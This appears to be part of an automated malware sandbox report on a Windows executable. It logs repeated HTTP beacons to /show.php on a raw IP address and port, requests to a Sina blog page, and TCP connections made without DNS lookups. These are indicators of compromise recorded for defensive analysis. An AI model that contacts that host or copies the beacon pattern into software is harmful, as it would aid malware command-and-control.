Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cn
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cn
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cn
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cn
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cn
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cn
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cn
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cn
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cn
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cn
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cn
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cn
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cn
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cn
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cn
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cn
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cn
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cn
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cn
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cn
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cn
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cn
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cn
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cn
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cn
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cn
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cn
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cn
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cn
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cn
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cn
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cn
Source: global traffic	HTTP traffic detected: GET /show.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15Host: 107.163.241.204:12354Cache-Control: no-cache

Source: unknown	TCP traffic detected without corresponding DNS query: 107.163.241.204
Source: unknown	TCP traffic detected without corresponding DNS query: 107.163.241.204
Source: unknown	TCP traffic detected without corresponding DNS query: 107.163.241.204
Source: unknown	TCP traffic detected without corresponding DNS query: 107.163.241.204
Source: unknown	TCP traffic detected without corresponding DNS query: 107.163.241.204
Source: unknown	TCP traffic detected without corresponding DNS query: 107.163.241.204
Source: unknown	TCP traffic detected without corresponding DNS query: 107.163.241.204
Source: unknown	TCP traffic detected without corresponding DNS query: 107.163.241.204
Source: unknown	TCP traffic detected without corresponding DNS query: 107.163.241.204
Source: unknown	TCP traffic detected without corresponding DNS query: 107.163.241.204
Source: unknown	TCP traffic detected without corresponding DNS query: 107.163.241.204
Source: unknown	TCP traffic detected without corresponding DNS query: 107.163.241.204
Source: unknown	TCP traffic detected without corresponding DNS query: 107.163.241.204
Source: unknown	TCP traffic detected without corresponding DNS query: 107.163.241.204
Source: unknown	TCP traffic detected without corresponding DNS query: 107.163.241.204
Source: unknown	TCP traffic detected without corresponding DNS query: 107.163.241.204
Source: unknown	TCP traffic detected without corresponding DNS query: 107.163.241.204
Source: unknown	TCP traffic detected without corresponding DNS query: 107.163.241.204
Source: unknown	TCP traffic detected without corresponding DNS query: 107.163.241.204
Source: unknown	TCP traffic detected without corresponding DNS query: 107.163.241.204
Source: unknown	TCP traffic detected without corresponding DNS query: 107.163.241.204
Source: unknown	TCP traffic detected without corresponding DNS query: 107.163.241.204
Source: unknown	TCP traffic detected without corresponding DNS query: 107.163.241.204
Source: unknown	TCP traffic detected without corresponding DNS query: 107.163.241.204
Source: unknown	TCP traffic detected without corresponding DNS query: 107.163.241.204
Source: unknown	TCP traffic detected without corresponding DNS query: 107.163.241.204
Source: unknown	TCP traffic detected without corresponding DNS query: 107.163.241.204
Source: unknown	TCP traffic detected without corresponding DNS query: 107.163.241.204
Source: unknown	TCP traffic detected without corresponding DNS query: 107.163.241.204
Source: unknown	TCP traffic detected without corresponding DNS query: 107.163.241.204
Source: unknown	TCP traffic detected without corresponding DNS query: 107.163.241.204
Source: unknown	TCP traffic detected without corresponding DNS query: 107.163.241.204
Source: unknown	TCP traffic detected without corresponding DNS query: 107.163.241.204
Source: unknown	TCP traffic detected without corresponding DNS query: 107.163.241.204
Source: unknown	TCP traffic detected without corresponding DNS query: 107.163.241.204
Source: unknown	TCP traffic detected without corresponding DNS query: 107.163.241.204
Source: unknown	TCP traffic detected without corresponding DNS query: 107.163.241.204
Source: unknown	TCP traffic detected without corresponding DNS query: 107.163.241.204
Source: unknown	TCP traffic detected without corresponding DNS query: 107.163.241.204
Source: unknown	TCP traffic detected without corresponding DNS query: 107.163.241.204
Source: unknown	TCP traffic detected without corresponding DNS query: 107.163.241.204
Source: unknown	TCP traffic detected without corresponding DNS query: 107.163.241.204
Source: unknown	TCP traffic detected without corresponding DNS query: 107.163.241.204
Source: unknown	TCP traffic detected without corresponding DNS query: 107.163.241.204
Source: unknown	TCP traffic detected without corresponding DNS query: 107.163.241.204
Source: unknown	TCP traffic detected without corresponding DNS query: 107.163.241.204
Source: unknown	TCP traffic detected without corresponding DNS query: 107.163.241.204
Source: unknown	TCP traffic detected without corresponding DNS query: 107.163.241.204
Source: unknown	TCP traffic detected without corresponding DNS query: 107.163.241.204
Source: unknown	TCP traffic detected without corresponding DNS query: 107.163.241.204

Source: C:\Users\user\Desktop\XgijTrY6No.exe

Code function: 0_2_004026B0 recv,WSAGetLastError,

0_2_004026B0

Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /u/5655029807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)Host: blog.sina.com.cnConnection: Keep-Alive
